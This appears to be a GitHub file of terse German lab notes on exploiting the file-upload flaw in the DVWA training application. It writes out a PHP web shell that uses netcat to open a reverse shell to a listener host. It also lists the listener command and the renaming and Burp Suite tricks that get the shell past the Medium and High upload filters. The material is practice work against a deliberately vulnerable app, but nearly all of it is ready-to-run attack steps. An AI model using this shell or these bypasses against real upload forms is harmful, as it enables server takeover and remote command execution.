-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFileUpload
More file actions
43 lines (23 loc) · 676 Bytes
/
FileUpload
File metadata and controls
43 lines (23 loc) · 676 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#=================#
# File Upload #
#=================#
touch myrat.php
echo "<?php shell_exec('nc -e /bin/sh 10.10.10.109 443');?>" > myrat.php
<?php
shell_exec('nc -e /bin/sh 10.10.10.109 443');
?>
myrat.php uploaden unter DVWA Upload
nc -vv -l -p 443
http://10.10.10.103/dvwa/hackable/uploads/myrat.php
Secutity auf Medium stellen
lässt nur noch den Upload von JPG zu
cp myrat.php myrat.jpg
nc -vv -l -p 443
File Upload
Upload mit Burp Suit file umstellen auf .php
http://10.10.10.103/dvwa/hackable/uploads/myrat.php
Security auf High
cp myrat.php myrat.php.jpg
File Uploaden
nc -vv -l -p 443
http://10.10.10.103/dvwa/hackable/uploads/myrat.php